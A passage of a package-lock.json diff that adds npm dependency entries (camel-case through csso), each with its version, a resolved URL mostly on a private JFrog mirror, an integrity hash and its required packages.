"https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "requires": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "camelcase": { + "version": "6.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==" + }, + "camelcase-css": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==" + }, + "caniuse-api": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "requires": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "caniuse-lite": { + "version": "1.0.30001655", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001655.tgz", + "integrity": "sha512-jRGVy3iSGO5Uutn2owlb5gR6qsGngTw9ZTb4ali9f3glshcNmJ2noam4Mo9zia5P9Dk3jNNydy7vQjuE5dQmfg==" + }, + "case-sensitive-paths-webpack-plugin": { + "version": "2.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz", + "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==" + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "char-regex": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/char-regex/-/char-regex-1.0.2.tgz", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==" + }, + "check-types": { + "version": "11.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/check-types/-/check-types-11.2.2.tgz", + "integrity": "sha512-HBiYvXvn9Z70Z88XKjz3AEKd4HJhBXsa3j7xFnITAzoS8+q6eIGi8qDB8FKPBAjtuxjI/zFpwuiCb8oDtKOYrA==" + }, + "chokidar": { + "version": "3.5.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "requires": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "dependencies": { + "glob-parent": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "requires": { + "is-glob": "^4.0.1" + } + } + } + }, + "chrome-trace-event": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==" + }, + "ci-info": { + "version": "3.8.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ci-info/-/ci-info-3.8.0.tgz", + "integrity": "sha512-eXTggHWSooYhq49F2opQhuHWgzucfF2YgODK4e1566GQs5BIfP30B0oenwBJHfWxAs2fyPB1s7Mg949zLf61Yw==" + }, + "cjs-module-lexer": { + "version": "1.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz", + "integrity": "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ==" + }, + "clean-css": { + "version": "5.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/clean-css/-/clean-css-5.3.2.tgz", + "integrity": "sha512-JVJbM+f3d3Q704rF4bqQ5UUyTtuJ0JRKNbTKVEeujCCBoMdkEi+V+e8oktO9qGQNSvHrFTM6JZRXrUvGR1czww==", + "requires": { + "source-map": "~0.6.0" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, + "cliui": { + "version": "7.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "co": { + "version": "4.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/co/-/co-4.6.0.tgz", + "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==" + }, + "coa": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/coa/-/coa-2.0.2.tgz", + "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==", + "requires": { + "@types/q": "^1.5.1", + "chalk": "^2.4.1", + "q": "^1.1.2" + } + }, + "collect-v8-coverage": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz", + "integrity": "sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg==" + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "colord": { + "version": "2.9.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==" + }, + "colorette": { + "version": "2.0.20", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==" + }, + "combined-stream": { + "version": "1.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "commander": { + "version": "8.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==" + }, + "common-path-prefix": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/common-path-prefix/-/common-path-prefix-3.0.0.tgz", + "integrity": "sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w==" + }, + "common-tags": { + "version": "1.8.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/common-tags/-/common-tags-1.8.2.tgz", + "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==" + }, + "commondir": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==" + }, + "compressible": { + "version": "2.0.18", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "requires": { + "mime-db": ">= 1.43.0 < 2" + } + }, + "compression": { + "version": "1.7.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "requires": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==" + }, + "confusing-browser-globals": { + "version": "1.0.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz", + "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==" + }, + "connect-history-api-fallback": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz", + "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==" + }, + "content-disposition": { + "version": "0.5.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "requires": { + "safe-buffer": "5.2.1" + } + }, + "content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==" + }, + "convert-source-map": { + "version": "1.9.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==" + }, + "cookie": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.6.0.tgz", + "integrity": "sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==" + }, + "cookie-signature": { + "version": "1.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" + }, + "core-js": { + "version": "3.31.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/core-js/-/core-js-3.31.0.tgz", + "integrity": "sha512-NIp2TQSGfR6ba5aalZD+ZQ1fSxGhDo/s1w0nx3RYzf2pnJxt7YynxFlFScP6eV7+GZsKO95NSjGxyJsU3DZgeQ==" + }, + "core-js-compat": { + "version": "3.31.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/core-js-compat/-/core-js-compat-3.31.0.tgz", + "integrity": "sha512-hM7YCu1cU6Opx7MXNu0NuumM0ezNeAeRKadixyiQELWY3vT3De9S4J5ZBMraWV2vZnrE1Cirl0GtFtDtMUXzPw==", + "requires": { + "browserslist": "^4.21.5" + } + }, + "core-js-pure": { + "version": "3.31.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/core-js-pure/-/core-js-pure-3.31.0.tgz", + "integrity": "sha512-/AnE9Y4OsJZicCzIe97JP5XoPKQJfTuEG43aEVLFJGOJpyqELod+pE6LEl63DfG1Mp8wX97LDaDpy1GmLEUxlg==" + }, + "core-util-is": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "cosmiconfig": { + "version": "7.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "requires": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + } + }, + "cross-spawn": { + "version": "7.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "requires": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + } + }, + "crypto-random-string": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/crypto-random-string/-/crypto-random-string-2.0.0.tgz", + "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==" + }, + "css-blank-pseudo": { + "version": "3.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz", + "integrity": "sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==", + "requires": { + "postcss-selector-parser": "^6.0.9" + } + }, + "css-declaration-sorter": { + "version": "6.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-declaration-sorter/-/css-declaration-sorter-6.4.0.tgz", + "integrity": "sha512-jDfsatwWMWN0MODAFuHszfjphEXfNw9JUAhmY4pLu3TyTU+ohUpsbVtbU+1MZn4a47D9kqh03i4eyOm+74+zew==", + "requires": {} + }, + "css-has-pseudo": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz", + "integrity": "sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==", + "requires": { + "postcss-selector-parser": "^6.0.9" + } + }, + "css-loader": { + "version": "6.8.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-loader/-/css-loader-6.8.1.tgz", + "integrity": "sha512-xDAXtEVGlD0gJ07iclwWVkLoZOpEvAWaSyf6W18S2pOC//K8+qUDIx8IIT3D+HjnmkJPQeesOPv5aiUaJsCM2g==", + "requires": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.21", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.3", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.3.8" + } + }, + "css-minimizer-webpack-plugin": { + "version": "3.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz", + "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==", + "requires": { + "cssnano": "^5.0.6", + "jest-worker": "^27.0.2", + "postcss": "^8.3.5", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "schema-utils": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "requires": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, + "css-prefers-color-scheme": { + "version": "6.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz", + "integrity": "sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==", + "requires": {} + }, + "css-select": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "requires": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + } + }, + "css-select-base-adapter": { + "version": "0.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz", + "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==" + }, + "css-tree": { + "version": "1.0.0-alpha.37", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-tree/-/css-tree-1.0.0-alpha.37.tgz", + "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==", + "requires": { + "mdn-data": "2.0.4", + "source-map": "^0.6.1" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, + "css-what": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==" + }, + "css.escape": { + "version": "1.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css.escape/-/css.escape-1.5.1.tgz", + "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==" + }, + "cssdb": { + "version": "7.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssdb/-/cssdb-7.6.0.tgz", + "integrity": "sha512-Nna7rph8V0jC6+JBY4Vk4ndErUmfJfV6NJCaZdurL0omggabiy+QB2HCQtu5c/ACLZ0I7REv7A4QyPIoYzZx0w==" + }, + "cssesc": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==" + }, + "cssnano": { + "version": "5.1.15", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssnano/-/cssnano-5.1.15.tgz", + "integrity": "sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==", + "requires": { + "cssnano-preset-default": "^5.2.14", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + } + }, + "cssnano-preset-default": { + "version": "5.2.14", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz", + "integrity": "sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==", + "requires": { + "css-declaration-sorter": "^6.3.1", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.1", + "postcss-convert-values": "^5.1.3", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.7", + "postcss-merge-rules": "^5.1.4", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.4", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.1", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.2", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + } + }, + "cssnano-utils": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "requires": {} + }, + "csso": { + "version": "4.2.0", + "resolved": 